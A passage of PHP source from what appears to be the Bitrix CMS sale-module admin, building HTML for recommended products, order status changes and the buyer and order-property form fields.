$arImgProduct = CFile::ResizeImageGet($arFile, array('width'=>80, 'height'=>80), BX_RESIZE_IMAGE_PROPORTIONAL, false, false);
if (is_array($arImgProduct))
{
$imgProduct = '<a href="'.$arProduct["EDIT_PAGE_URL"].'" target="_blank"><img src="'.$arImgProduct["src"].'" alt="" title="'.$arProduct["NAME"].'" ></a>';
}
}
else
$imgProduct = '<div class="no_foto">'.GetMessage('SOD_NO_FOTO')."</div>";
$result .= '<tr><td class="tab_img">'.$imgProduct.'</td><td class="tab_text">
<div class="order_name"><a href="'.$arProduct["EDIT_PAGE_URL"].'" target="_blank" title="'.$arProduct["NAME"].'">'.$arProduct["NAME"].'</a></div>
<div class="order_price">'.GetMessage('SOD_ORDER_RECOM_PRICE').': <b>'.SaleFormatCurrency($arProduct["PRICE"], $currency).'</b>';
if (!empty($arSet) && array_key_exists($arProduct["PRODUCT_ID"], $arSet)) // show/hide set item link
{
$result .= '<br/>
<div>
<a id="set_toggle_link_b'.$arProduct["ID"].'"
href="javascript:void(0);"
class="dashed-link show-set-link"
title="'.GetMessage("SOD_SHOW_SET").'"
onclick="fToggleSetItems(\'b'.$arProduct["ID"].'\');">'.GetMessage("SOD_SHOW_SET").'</a>
</div>';
}
$result .= '</div>';
$arResult = CSaleProduct::GetProductSku($USER_ID, $LID, $arProduct["PRODUCT_ID"], $arProduct["NAME"], '', $arProduct);
$arResult["POPUP_MESSAGE"] = array(
"PRODUCT_ADD" => GetMessage('SOD_POPUP_TO_BASKET'),
"PRODUCT_NOT_ADD" => GetMessage('SOD_POPUP_TO_BASKET_NOT'),
"PRODUCT_PRICE_FROM" => GetMessage('SOD_POPUP_FROM')
);
if (!$crmMode)
{
if (!empty($arResult["SKU_ELEMENTS"]))
{
$result .= '<a href="javascript:void(0);" class="get_new_order" onclick="fAddToBasketMoreProductSku('.CUtil::PhpToJSObject($arResult['SKU_ELEMENTS']).', '.CUtil::PhpToJSObject($arResult['SKU_PROPERTIES']).', \'\', '.CUtil::PhpToJSObject($arResult["POPUP_MESSAGE"]).');"><span></span>'.GetMessage('SOD_SUBTAB_ADD_ORDER').'</a>';
}
else
{
$cntProd = (floatval($arProduct["QUANTITY"]) > 0) ? floatval($arProduct["QUANTITY"]) : 1;
$url = "/bitrix/admin/sale_order_new.php?lang=".LANGUAGE_ID."&user_id=".$USER_ID."&LID=".$LID."&product[".$arProduct["PRODUCT_ID"]."]=".$cntProd;
$result .= "<a href=\"".$url."\" target=\"_blank\" class=\"get_new_order\"><span></span>".GetMessage('SOD_SUBTAB_ADD_ORDER')."</a>";
}
}
$result .= "</td></tr>";
// show set items
if (!empty($arSet) && array_key_exists($arProduct["PRODUCT_ID"], $arSet))
{
foreach ($arSet[$arProduct["PRODUCT_ID"]] as $set)
{
$editUrl = CIBlock::GetAdminElementEditLink($set["IBLOCK_ID"], $set["ITEM_ID"], array(
"find_section_section" => $set["IBLOCK_SECTION_ID"],
'WF' => 'Y',
));
if ($set["PREVIEW_PICTURE"] > 0)
$imgCode = $set["PREVIEW_PICTURE"];
elseif ($set["DETAIL_PICTURE"] > 0)
$imgCode = $set["DETAIL_PICTURE"];
$img = '';
if ($imgCode > 0)
{
$arFile = CFile::GetFileArray($imgCode);
$arImgProduct = CFile::ResizeImageGet($arFile, array('width'=>80, 'height'=>80), BX_RESIZE_IMAGE_PROPORTIONAL, false, false);
if (is_array($arImgProduct))
{
$img = '<a href="'.$editUrl.'" target="_blank"><img src="'.$arImgProduct["src"].'" alt="" title="'.$set["NAME"].'" ></a>';
}
}
else
$img = '<div class="no_foto">'.GetMessage('SOD_NO_FOTO')."</div>";
$result .= '
<tr style="display:none" class="set_item_b'.$arProduct["ID"].'">
<td class="tab_img">'.$img.'</td>
<td class="tab_text">
<div class="order_name">
<a href="'.$editUrl.'" style="font-style:italic" target="_blank" title="'.$set["NAME"].'">'.$set["NAME"].'</a>
</div>
<div class="order_price">'.GetMessage('SOD_ORDER_RECOM_PRICE').': <b>'.SaleFormatCurrency($set["PRICE"], $currency).'</b></div>
</td>
</tr>';
}
}
}
}
}//end if
$result .= '<tr><td colspan="2" align="right" class="more_product">';
if ($CNT > 2)
$result .= "<a href='javascript:void(0);' onClick=\"fGetMoreProduct('".$type."');\" class=\"get_more\">".GetMessage('SOD_SUBTAB_MORE')."<span></span></a>";
$result .= "</td></tr>";
$result .= "</table>";
return $result;
}
function fChangeOrderStatus($ID, $STATUS_ID)
{
global $APPLICATION;
global $crmMode;
$errorMessageTmp = "";
$STATUS_ID = trim($STATUS_ID);
if (strlen($STATUS_ID) <= 0)
$errorMessageTmp .= GetMessage("ERROR_NO_STATUS").". ";
if ('' == $errorMessageTmp)
{
if (!CSaleOrder::CanUserChangeOrderStatus($ID, $STATUS_ID, $GLOBALS["USER"]->GetUserGroupArray()))
$errorMessageTmp .= GetMessage("SOD_NO_PERMS2STATUS").". ";
}
if ('' == $errorMessageTmp)
{
if (!CSaleOrder::StatusOrder($ID, $STATUS_ID))
{
if ($ex = $APPLICATION->GetException())
{
if ($ex->GetID() != "ALREADY_FLAG")
$errorMessageTmp .= $ex->GetString();
}
else
$errorMessageTmp .= GetMessage("ERROR_CHANGE_STATUS").". ";
}
}
$arResult = array(
'STATUS_ERR' => false,
'STATUS_ERR_MESS' => '',
);
$dbOrder = CSaleOrder::GetList(
array("ID" => "DESC"),
array("ID" => $ID),
false,
false,
array("DATE_STATUS", "EMP_STATUS_ID", "STATUS_ID")
);
if ($arOrder = $dbOrder->Fetch())
{
$arResult["DATE_STATUS"] = $arOrder["DATE_STATUS"];
if (!$crmMode && (int)$arOrder["EMP_STATUS_ID"] > 0)
$arResult["EMP_STATUS_ID"] = GetFormatedUserName($arOrder["EMP_STATUS_ID"], false);
$arResult["STATUS_ID"] = $arOrder["STATUS_ID"];
}
if ('' != $errorMessageTmp)
{
$arResult['STATUS_ERR'] = true;
$arResult['STATUS_ERR_MESS'] = $errorMessageTmp;
}
return $arResult;
}
/*
* shows file property input control
*/
function fShowFilePropertyField($name, $property_fields, $values, $max_file_size_show=50000)
{
global $crmMode;
$disableFiles = (isset($crmMode) && $crmMode);
$res = "";
if (CModule::IncludeModule('fileman'))
{
if (!is_array($values) || empty($values))
$values = array("n0" => 0);
if ($property_fields["MULTIPLE"] == "N")
{
foreach($values as $key => $val)
{
if(is_array($val))
$file_id = $val["VALUE"];
else
$file_id = $val;
$res = CFileInput::Show(
$name."[".$key."]",
$file_id,
array(
"IMAGE" => "Y",
"PATH" => "Y",
"FILE_SIZE" => "Y",
"DIMENSIONS" => "Y",
"IMAGE_POPUP" => "Y",
"MAX_SIZE" => array("W" => 200, "H" => 170),
),
array(
'upload' => !$disableFiles,
'del' => !$disableFiles,
'medialib' => false,
'file_dialog' => false,
'cloud' => false,
'description' => false
)
);
}
}
else
{
$inputName = array();
foreach($values as $key=>$val)
{
if(is_array($val))
$inputName[$name."[".$key."]"] = $val["VALUE"];
else
$inputName[$name."[".$key."]"] = $val;
}
$res = CFileInput::ShowMultiple($inputName, $name."[n#IND#]", array(
"IMAGE" => "Y",
"PATH" => "Y",
"FILE_SIZE" => "Y",
"DIMENSIONS" => "Y",
"IMAGE_POPUP" => "Y",
"MAX_SIZE" => array("W" => 200, "H" => 170),
), false, array(
'upload' => !$disableFiles,
'del' => !$disableFiles,
'medialib' => false,
'file_dialog' => false,
'cloud' => false,
'description' => false
));
}
}
return $res;
}
/*
* get count name, mail, phones in profiles
*/
function fGetCountProfileProps($PERSON_TYPE_ID)
{
$arResult = array();
$dbProperties = CSaleOrderProps::GetList(
array(),
array("PERSON_TYPE_ID" => $PERSON_TYPE_ID, "ACTIVE" => "Y"),
array("IS_PHONE", "COUNT" => "ID"),
false,
array("IS_PHONE")
);
while ($arProperties = $dbProperties->Fetch())
{
if ($arProperties["IS_PHONE"] == "Y")
$arResult["IS_PHONE"] = $arProperties["CNT"];
}
$dbProperties = CSaleOrderProps::GetList(
array(),
array("PERSON_TYPE_ID" => $PERSON_TYPE_ID, "ACTIVE" => "Y"),
array("IS_PAYER", "COUNT" => "ID"),
false,
array("IS_PAYER")
);
while ($arProperties = $dbProperties->Fetch())
{
if ($arProperties["IS_PAYER"] == "Y")
$arResult["IS_PAYER"] = $arProperties["CNT"];
}
$dbProperties = CSaleOrderProps::GetList(
array(),
array("PERSON_TYPE_ID" => $PERSON_TYPE_ID, "ACTIVE" => "Y"),
array("IS_EMAIL", "COUNT" => "ID"),
false,
array("IS_EMAIL")
);
while ($arProperties = $dbProperties->Fetch())
{
if ($arProperties["IS_EMAIL"] == "Y")
$arResult["IS_EMAIL"] = $arProperties["CNT"];
}
return $arResult;
}
/*
* user property (parameters order)
*/
function fGetBuyerType($PERSON_TYPE_ID, $LID, $USER_ID = '', $ORDER_ID = 0, $formVarsSubmit = false)
{
global $locationZipID, $locationID, $DELIVERY_LOCATION, $DELIVERY_LOCATION_ZIP;
$resultHtml = "<script>locationZipID = 0;locationID = 0;</script><table width=\"100%\" id=\"order_type_props\" class=\"edit-table\">";
//select person type
$personTypeSelect = "<select name='buyer_type_id' id='buyer_type_id' OnChange='fBuyerChangeType(this);' >";
$dbPersonType = CSalePersonType::GetList(array("SORT" => "ASC", "NAME" => "ASC"), array("ACTIVE" => "Y"));
while ($arPersonType = $dbPersonType->GetNext())
{
if (!in_array($LID, $arPersonType["LIDS"]))
continue;
if (!isset($PERSON_TYPE_ID) OR $PERSON_TYPE_ID == "")
$PERSON_TYPE_ID = $arPersonType["ID"];
$class = "";
if (intval($arPersonType["ID"]) == intval($PERSON_TYPE_ID))
$class = " selected";
$personTypeSelect .= "<option value=\"".$arPersonType["ID"]."\" ".$class.">".$arPersonType["NAME"]." [".$arPersonType["ID"]."]</option>";
}
$personTypeSelect .= "</select>";
$userComment = "";
$userDisplay = "none";
if (intval($ORDER_ID) > 0)
{
$dbOrder = CSaleOrder::GetList(
array(),
array("ID" => $ORDER_ID, "ACTIVE" => "Y"),
false,
false,
array()
);
$arOrder = $dbOrder->Fetch();
$userComment = $arOrder["USER_DESCRIPTION"];
$userDisplay = "table-row";
}
if ($formVarsSubmit && $_REQUEST["btnTypeBuyer"] == "btnBuyerNew")
$userDisplay = "none";
elseif ($formVarsSubmit && $_REQUEST["btnTypeBuyer"] == "btnBuyerExist")
$userDisplay = "table-row";
$resultHtml .= "<tr id=\"btnBuyerExistField\" style=\"display:".$userDisplay."\">
<td class=\"adm-detail-content-cell-l\" width=\"40%\">".GetMessage("NEWO_BUYER").":</td>
<td class=\"adm-detail-content-cell-r\" width=\"60%\"><div id=\"user_name\">".fGetUserName($USER_ID)."</div></td></tr>";
$resultHtml .= "<tr class=\"adm-detail-required-field\">
<td class=\"adm-detail-content-cell-l\" width=\"40%\">".GetMessage("SOE_PERSON_TYPE").":</td>
<td class=\"adm-detail-content-cell-r\" width=\"60%\">".$personTypeSelect."</td>
</tr>";
$bShowTrProfile = "none";
if ($formVarsSubmit && $_POST["btnTypeBuyer"] == "btnBuyerExist")
$bShowTrProfile = "table-row";
$resultHtml .= "<tr id=\"buyer_profile_display\" style=\"display:".$bShowTrProfile."\" class=\"adm-detail-required-field\">
<td class=\"adm-detail-content-cell-l\">".GetMessage("NEWO_BUYER_PROFILE").":</td>
<td class=\"adm-detail-content-cell-r\">
<div id=\"buyer_profile_select\">";
if ($formVarsSubmit && $_POST["btnTypeBuyer"] == "btnBuyerExist")
{
$resultHtml .= fUserProfile(intval($_POST["user_id"]), intval($_POST["buyer_type_id"]), $default = '');
}
$resultHtml .= "</div></td>
</tr>";
if ($ORDER_ID <= 0)
{
$arCountProps = fGetCountProfileProps($PERSON_TYPE_ID);
$resultHtml .= "<tr id=\"btnBuyerNewField\">";
if (count($arCountProps) < 3)
{
$resultHtml .= "<td colspan=2>
<table width=\"100%\" class=\"edit-table\" >";
if (intval($arCountProps["IS_EMAIL"]) <= 0)
$resultHtml .= "<tr class=\"adm-detail-required-field\">
<td class=\"adm-detail-content-cell-l\" width=\"40%\">".GetMessage("NEWO_BUYER_REG_MAIL")."</td>
<td class=\"adm-detail-content-cell-r\"><input type=\"text\" name=\"NEW_BUYER_EMAIL\" size=\"30\" value=\"".htmlspecialcharsbx(trim($_REQUEST["NEW_BUYER_EMAIL"]))."\" tabindex=\"1\" /></td>
</tr>";
if (intval($arCountProps["IS_PAYER"]) <= 0)
$resultHtml .= "<tr class=\"adm-detail-required-field\">
<td class=\"adm-detail-content-cell-l\">".GetMessage("NEWO_BUYER_REG_LASTNAME")."</td>
<td class=\"adm-detail-content-cell-r\"><input type=\"text\" name=\"NEW_BUYER_LAST_NAME\" size=\"30\" value=\"".htmlspecialcharsbx(trim($_REQUEST["NEW_BUYER_LAST_NAME"]))."\" tabindex=\"3\" /></td>
</tr>
<tr class=\"adm-detail-required-field\">
<td class=\"adm-detail-content-cell-l\">".GetMessage("NEWO_BUYER_REG_NAME")."</td>
<td class=\"adm-detail-content-cell-r\"><input type=\"text\" name=\"NEW_BUYER_NAME\" size=\"30\" value=\"".htmlspecialcharsbx(trim($_REQUEST["NEW_BUYER_NAME"]))."\" tabindex=\"2\" /></td>
</tr>";
$resultHtml .= "</table>
</td>";
}
$resultHtml .= "</tr>";
}
$arPropertiesList = array();
$dbProperties = CSaleOrderProps::GetList(
array("GROUP_SORT" => "ASC", "PROPS_GROUP_ID" => "ASC", "SORT" => "ASC", "NAME" => "ASC"),
array("PERSON_TYPE_ID" => $PERSON_TYPE_ID, "ACTIVE" => "Y", "RELATED" => false),
false,
false,
array("*")
);
while($property = $dbProperties->GetNext())
{
$arPropertiesList[$property['ID']] = $property;
}
// getting values
$arPropValues = array();
if ($formVarsSubmit) // from request
{
$locationIndexForm = "";
foreach ($_POST as $key => $value)
{
if (substr($key, 0, strlen("CITY_ORDER_PROP_")) == "CITY_ORDER_PROP_")
{
$arPropValues[intval(substr($key, strlen("CITY_ORDER_PROP_")))] = htmlspecialcharsbx($value);
$locationIndexForm = intval(substr($key, strlen("CITY_ORDER_PROP_")));
}
if (substr($key, 0, strlen("ORDER_PROP_")) == "ORDER_PROP_")
{
if ($locationIndexForm != intval(substr($key, strlen("ORDER_PROP_"))) && !is_array($value))
$arPropValues[intval(substr($key, strlen("ORDER_PROP_")))] = htmlspecialcharsbx($value);
}
}
$userComment = $_POST["USER_DESCRIPTION"];
}
elseif ($ORDER_ID == "" AND $USER_ID != "") // from profile
{
//profile
$userProfile = CSaleOrderUserProps::DoLoadProfiles($USER_ID, $PERSON_TYPE_ID);
$arPropValues = $userProfile[$PERSON_TYPE_ID]["VALUES"];
}
elseif ($ORDER_ID != "") // from order properties
{
$dbPropValuesList = CSaleOrderPropsValue::GetList(
array(),
array("ORDER_ID" => $ORDER_ID, "ACTIVE" => "Y"),
false,
false,
array("ID", "ORDER_PROPS_ID", "NAME", "VALUE", "CODE")
);
while ($arPropValuesList = $dbPropValuesList->Fetch())
{
$arPropValues[intval($arPropValuesList["ORDER_PROPS_ID"])] = htmlspecialcharsbx($arPropValuesList["VALUE"]);
}
}
$location2townFldMap = array();
$arDisableFieldForLocation = array();
//select field (town) for disable
$dbProperties = CSaleOrderProps::GetList(
array(),
array("PERSON_TYPE_ID" => $PERSON_TYPE_ID, "ACTIVE" => "Y", ">INPUT_FIELD_LOCATION" => 0),
false,
false,
array("INPUT_FIELD_LOCATION")
);
while ($arProperties = $dbProperties->Fetch())
{
$arDisableFieldForLocation[$arProperties["INPUT_FIELD_LOCATION"]] = $arProperties["INPUT_FIELD_LOCATION"];
}
//show town if location is another
if ($ORDER_ID > 0)
{
$dbOrderProps = CSaleOrderPropsValue::GetOrderProps($ORDER_ID);
while ($arOrderProps = $dbOrderProps->Fetch())
{
if ($arOrderProps["TYPE"] == "LOCATION" && $arOrderProps["ACTIVE"] == "Y" && $arOrderProps["IS_LOCATION"] == "Y")
{
if (in_array($arOrderProps["INPUT_FIELD_LOCATION"], $arDisableFieldForLocation))
{
if (CSaleLocation::isLocationProMigrated())
{
//if(CSaleLocation::checkLocationIsAboveCity($arPropValues[$arOrderProps["ORDER_PROPS_ID"]]))
unset($arDisableFieldForLocation[$arOrderProps["INPUT_FIELD_LOCATION"]]);
}
else
{
$arLocation = CSaleLocation::GetByID($arPropValues[$arOrderProps["ORDER_PROPS_ID"]]);
if (intval($arLocation["CITY_ID"]) <= 0)
unset($arDisableFieldForLocation[$arOrderProps["INPUT_FIELD_LOCATION"]]);
}
}
$location2townFldMap[$arOrderProps['ORDER_PROPS_ID']] = $arOrderProps['INPUT_FIELD_LOCATION'];
}
}
}
$propertyGroupID = -1;
foreach($arPropertiesList as $arProperties)
{
if (intval($arProperties["PROPS_GROUP_ID"]) != $propertyGroupID)
{
$resultHtml .= "<tr><td colspan=\"2\" style=\"text-align:center;font-weight:bold;font-size:14px;color:rgb(75, 98, 103);\" >".htmlspecialcharsEx($arProperties["GROUP_NAME"])."\n</td>\n</tr>";
$propertyGroupID = intval($arProperties["PROPS_GROUP_ID"]);
}
if (intval($arProperties["PROPS_GROUP_ID"]) != $propertyGroupID)
$propertyGroupID = intval($arProperties["PROPS_GROUP_ID"]);
$adit = "";
$requiredField = "";
if ($arProperties["REQUIED"] == "Y" || $arProperties["IS_PROFILE_NAME"] == "Y" || $arProperties["IS_LOCATION"] == "Y" || $arProperties["IS_LOCATION4TAX"] == "Y" || $arProperties["IS_PAYER"] == "Y" || $arProperties["IS_ZIP"] == "Y")
{
$adit = " class=\"adm-detail-required-field\"";
$requiredField = " class=\"adm-detail-content-cell-l\"";
}
$isTownProperty = in_array($arProperties["ID"], $location2townFldMap) || $arProperties['CODE'] == 'CITY';
//delete town from location
if (in_array($arProperties["ID"], $arDisableFieldForLocation))
$resultHtml .= "<tr style=\"display:none;\" id=\"town_location_".$arProperties["ID"]."\"".$adit.">\n";
else
$resultHtml .= "<tr id=\"town_location_".$arProperties["ID"]."\"".$adit.($isTownProperty ? " class=\"-bx-order-property-city\"" : '').">\n";
if(($arProperties["TYPE"] == "MULTISELECT" || $arProperties["TYPE"] == "TEXTAREA" || $arProperties["TYPE"] == "FILE") || ($ORDER_ID <= 0 && $arProperties["IS_PROFILE_NAME"] == "Y") )
$resultHtml .= "<td valign=\"top\" class=\"adm-detail-content-cell-l\" width=\"40%\">\n";
else
$resultHtml .= "<td align=\"right\" width=\"40%\" ".$requiredField.">\n";
$resultHtml .= $arProperties["NAME"].":</td>";
$curVal = $arPropValues[intval($arProperties["ID"])];
if($arProperties["IS_EMAIL"] == "Y" || $arProperties["IS_PAYER"] == "Y")
{
if(strlen($arProperties["DEFAULT_VALUE"]) <= 0 && intval($USER_ID) > 0)
{
$rsUser = CUser::GetByID($USER_ID);
if ($arUser = $rsUser->Fetch())
{
if($arProperties["IS_EMAIL"] == "Y")
$arProperties["DEFAULT_VALUE"] = $arUser["EMAIL"];
else
{
if (strlen($arUser["LAST_NAME"]) > 0)
$arProperties["DEFAULT_VALUE"] .= $arUser["LAST_NAME"];
if (strlen($arUser["NAME"]) > 0)
$arProperties["DEFAULT_VALUE"] .= " ".$arUser["NAME"];
if (strlen($arUser["SECOND_NAME"]) > 0 AND strlen($arUser["NAME"]) > 0)
$arProperties["DEFAULT_VALUE"] .= " ".$arUser["SECOND_NAME"];
}
}
}
}
$resultHtml .= "<td class=\"adm-detail-content-cell-r\" width=\"60%\">";
if ($arProperties["TYPE"] == "CHECKBOX")
{
$resultHtml .= '<input type="checkbox" class="inputcheckbox" ';
$resultHtml .= 'name="ORDER_PROP_'.$arProperties["ID"].'" value="Y"';
$resultHtml .= 'id="ORDER_PROP_'.$arProperties["ID"].'" ';
if ($curVal=="Y" || !isset($curVal) && $arProperties["DEFAULT_VALUE"]=="Y")
$resultHtml .= " checked";
$resultHtml .= '>';
}
elseif ($arProperties["TYPE"] == "TEXT")
{
$change = "";
if ($arProperties["IS_ZIP"] == "Y")
{
$DELIVERY_LOCATION_ZIP = $curVal;
$resultHtml .= '<script> locationZipID = \''.$arProperties["ID"].'\';</script>';
$locationZipID = ((isset($curVal)) ? htmlspecialcharsEx($curVal) : htmlspecialcharsEx($arProperties["DEFAULT_VALUE"]));
}
if ($arProperties["IS_PAYER"] == "Y" && intval($USER_ID) <= 0)
{
$resultHtml .= '<div id="BREAK_NAME"';
if ($ORDER_ID > 0 || ($formVarsSubmit && $_REQUEST["btnTypeBuyer"] == "btnBuyerExist"))
$resultHtml .= ' style="display:none"';
$resultHtml .= '>';
$BREAK_LAST_NAME_TMP = GetMessage('NEWO_BREAK_LAST_NAME');
if (isset($_REQUEST["BREAK_LAST_NAME"]) && strlen($_REQUEST["BREAK_LAST_NAME"]) > 0)
$BREAK_LAST_NAME_TMP = htmlspecialcharsbx(trim($_REQUEST["BREAK_LAST_NAME"]));
$NEWO_BREAK_NAME_TMP = GetMessage('NEWO_BREAK_NAME');
if (isset($_REQUEST["BREAK_NAME"]) && strlen($_REQUEST["BREAK_NAME"]) > 0)
$NEWO_BREAK_NAME_TMP = htmlspecialcharsbx(trim($_REQUEST["BREAK_NAME"]));
$BREAK_SECOND_NAME_TMP = GetMessage('NEWO_BREAK_SECOND_NAME');
if (isset($_REQUEST["BREAK_SECOND_NAME"]) && strlen($_REQUEST["BREAK_SECOND_NAME"]) > 0)
$BREAK_SECOND_NAME_TMP = htmlspecialcharsbx(trim($_REQUEST["BREAK_SECOND_NAME"]));
$resultHtml .= '<div class="fio newo_break_active">'.
'<input type="text" name="BREAK_LAST_NAME" id="BREAK_LAST_NAME" size="30" '.
'value="'.$BREAK_LAST_NAME_TMP.'" placeholder="'.htmlspecialcharsbx(GetMessage('NEWO_BREAK_LAST_NAME')).'" '.
'onblur="if (this.value==\'\'){ BX.addClass(this.parentNode, \'newo_break_active\'); }" '.
'onfocus="if (this.value==\'\') { BX.removeClass(this.parentNode, \'newo_break_active\'); }">'.
'</div>';
$resultHtml .= '<div class="fio newo_break_active">'.
'<input type="text" name="BREAK_NAME" id="BREAK_NAME_BUYER" size="30" '.
'value="'.$NEWO_BREAK_NAME_TMP.'" placeholder="'.htmlspecialcharsbx(GetMessage('NEWO_BREAK_NAME')).'" '.
'onblur="if (this.value==\'\'){ BX.addClass(this.parentNode, \'newo_break_active\'); }" '.
'onfocus="if (this.value==\'\') { BX.removeClass(this.parentNode, \'newo_break_active\'); }">'.
'</div>';
$resultHtml .= '<div class="fio newo_break_active">'.
'<input type="text" name="BREAK_SECOND_NAME" id="BREAK_SECOND_NAME" size="30" '.
'value="'.$BREAK_SECOND_NAME_TMP.'" placeholder="'.htmlspecialcharsbx(GetMessage('NEWO_BREAK_SECOND_NAME')).'" '.
'onblur="if (this.value==\'\'){BX.addClass(this.parentNode, \'newo_break_active\'); }" '.
'onfocus="if (this.value==\'\') {BX.removeClass(this.parentNode, \'newo_break_active\'); }">'.
'</div>';
$resultHtml .= '</div>';
$tmpNone = '';
$resultHtml .= '<div id="NO_BREAK_NAME"';
if ($ORDER_ID <= 0)
$tmpNone = ' style="display:none"';
if ($formVarsSubmit && $_REQUEST["btnTypeBuyer"] == "btnBuyerExist")
$tmpNone = ' style="display:block"';
$resultHtml .= $tmpNone.'>';
}
$resultHtml .= '<input type="text" maxlength="250" ';
$resultHtml .= 'size="30" ';
$resultHtml .= 'value="'.((isset($curVal)) ? $curVal : $arProperties["DEFAULT_VALUE"]).'" ';
$resultHtml .= 'name="ORDER_PROP_'.$arProperties["ID"].'" ';
$resultHtml .= ($arProperties["IS_ZIP"] == "Y" ? 'class="-bx-property-is-zip" ' : '');
$resultHtml .= 'id="ORDER_PROP_'.$arProperties["ID"].'" '.$change.'>';
if ($arProperties["IS_PAYER"] == "Y" && intval($USER_ID) <= 0)
$resultHtml .= '</div>';
}
elseif ($arProperties["TYPE"] == "SELECT")
{
$size = (intval($arProperties["SIZE1"]) > 0) ? intval($arProperties["SIZE1"]) : 5;
$resultHtml .= '<select name="ORDER_PROP_'.$arProperties["ID"].'" ';
$resultHtml .= 'id="ORDER_PROP_'.$arProperties["ID"].'" ';
$resultHtml .= 'size='.$size.' ';
$resultHtml .= 'class="typeselect">';
$dbVariants = CSaleOrderPropsVariant::GetList(
array("SORT" => "ASC"),
array("ORDER_PROPS_ID" => $arProperties["ID"]),
false,
false,
array("*")
);
while ($arVariants = $dbVariants->Fetch())
{
$resultHtml .= '<option value="'.htmlspecialcharsEx($arVariants["VALUE"]).'"';
if ($arVariants["VALUE"] == $curVal || !isset($curVal) && $arVariants["VALUE"] == $arProperties["DEFAULT_VALUE"])
$resultHtml .= " selected";
$resultHtml .= '>'.htmlspecialcharsEx($arVariants["NAME"]).'</option>';
}
$resultHtml .= '</select>';
}
elseif ($arProperties["TYPE"] == "MULTISELECT")
{
$size = (intval($arProperties["SIZE1"]) > 0) ? intval($arProperties["SIZE1"]) : 5;
$resultHtml .= '<select multiple name="ORDER_PROP_'.$arProperties["ID"].'[]" ';
$resultHtml .= 'id="ORDER_PROP_'.$arProperties["ID"].'" ';
$resultHtml .= 'size='.$size.' ';
$resultHtml .= 'class="typeselect" type="multyselect">';
if (!is_array($curVal))
{
if (strlen($curVal) > 0 OR $ORDER_ID != "")
$curVal = explode(",", $curVal);
else
$curVal = explode(",", $arProperties["DEFAULT_VALUE"]);
$arCurVal = array();
$countCurVal = count($curVal);
for ($i = 0; $i < $countCurVal; $i++)
$arCurVal[$i] = trim($curVal[$i]);
}
else
$arCurVal = $curVal;
$dbVariants = CSaleOrderPropsVariant::GetList(
array("SORT" => "ASC"),
array("ORDER_PROPS_ID" => $arProperties["ID"]),
false,
false,
array("*")
);
while ($arVariants = $dbVariants->Fetch())
{
$resultHtml .= '<option value="'.htmlspecialcharsEx($arVariants["VALUE"]).'"';
if (in_array($arVariants["VALUE"], $arCurVal))
$resultHtml .= " selected";
$resultHtml .= '>'.htmlspecialcharsEx($arVariants["NAME"]).'</option>';
}
$resultHtml .= '</select>';
}
elseif ($arProperties["TYPE"] == "TEXTAREA")
{
$resultHtml .= '<textarea ';
$resultHtml .= 'rows="4" ';
$resultHtml .= 'cols="40" ';
$resultHtml .= 'name="ORDER_PROP_'.$arProperties["ID"].'" ';
$resultHtml .= 'id="ORDER_PROP_'.$arProperties["ID"].'" type="textarea">';
$resultHtml .= ((isset($curVal)) ? $curVal : $arProperties["DEFAULT_VALUE"]);
$resultHtml .= '</textarea>';
}
elseif ($arProperties["TYPE"] == "LOCATION")
{
$DELIVERY_LOCATION = $arPropValues[intval($arProperties["ID"])];
$locationID = $curVal;
ob_start();
?>
<?if($arProperties['IS_LOCATION'] == 'Y'):?>
<?
$funcId = 'changeLocationCity_'.$arProperties['ID'];
?>
<script>
window['<?=$funcId?>'] = function(node, info){
fChangeLocationCity(node, info, <?=intval($location2townFldMap[$arProperties['ID']])?>)
}
window.orderNewLocationPropId = <?=intval($arProperties['ID'])?>;
</script>
<?endif?>
<?
CSaleLocation::proxySaleAjaxLocationsComponent(
array(
"SITE_ID" => $LID,
"AJAX_CALL" => "N",
"COUNTRY_INPUT_NAME" => "ORDER_PROP_".$arProperties["ID"],
"REGION_INPUT_NAME" => "REGION_ORDER_PROP_".$arProperties["ID"],
"CITY_INPUT_NAME" => "CITY_ORDER_PROP_".$arProperties["ID"],
"CITY_OUT_LOCATION" => "Y",
"ALLOW_EMPTY_CITY" => "Y",
"LOCATION_VALUE" => $curVal,
"COUNTRY" => "",
"ONCITYCHANGE" => "fChangeLocationCity();",
"PUBLIC" => "N",
),
array(
"JS_CALLBACK" => $arProperties['IS_LOCATION'] == 'Y' ? $funcId : false,
"ID" => $curVal,
"CODE" => '',
"SHOW_DEFAULT_LOCATIONS" => 'Y',
"JS_CONTROL_GLOBAL_ID" => intval($arProperties["ID"]),
"PRECACHE_LAST_LEVEL" => "Y",
"PRESELECT_TREE_TRUNK" => "Y"
),
'',
false,
'location-selector-wrapper prop-'.intval($arProperties["ID"])
);
$tmpLocation = ob_get_contents();
ob_end_clean();
$resultHtml .= '<script>var locationID = \''.$arProperties["ID"].'\';</script>';
$resultHtml .= $tmpLocation;
}
elseif ($arProperties["TYPE"] == "RADIO")
{
$dbVariants = CSaleOrderPropsVariant::GetList(
array("SORT" => "ASC"),
array("ORDER_PROPS_ID" => $arProperties["ID"]),
false,
false,
array("*")
);
$resultHtml .= '<div id="ORDER_PROP_'.$arProperties["ID"].'" type="radio">';// type="radio"
while ($arVariants = $dbVariants->Fetch())
{
$resultHtml .= '<input type="radio" class="inputradio" ';
$resultHtml .= 'name="ORDER_PROP_'.$arProperties["ID"].'" ';
$resultHtml .= 'value="'.htmlspecialcharsEx($arVariants["VALUE"]).'"';
if ($arVariants["VALUE"] == $curVal || !isset($curVal) && $arVariants["VALUE"] == $arProperties["DEFAULT_VALUE"])
$resultHtml .= " checked";
$resultHtml .= '>'.htmlspecialcharsEx($arVariants["NAME"]).'<br>';
}
$resultHtml .= '</div>';
}
elseif ($arProperties["TYPE"] == "FILE")
{
$arValues = array();
$arTmpValues = array();
if (isset($arPropValues[$arProperties["ID"]]))
{
$arTmpValues = explode(", ", $arPropValues[$arProperties["ID"]]);
foreach ($arTmpValues as $key => $value)
$arValues[$value] = $value;
}
$resultHtml .= fShowFilePropertyField("ORDER_PROP_".$arProperties["ID"], $arProperties, $arValues, $arProperties["SIZE1"], $formVarsSubmit);
}
if (strlen($arProperties["DESCRIPTION"]) > 0)
{
$resultHtml .= "<br><small>".htmlspecialcharsEx($arProperties["DESCRIPTION"])."</small>";
}
$resultHtml .= "\n</td>\n</tr>";
}//end while
$resultHtml .= "<tr>\n<td valign=\"top\" class=\"adm-detail-content-cell-l\">".GetMessage("SOE_BUYER_COMMENT").":
</td>
<td class=\"adm-detail-content-cell-r\">
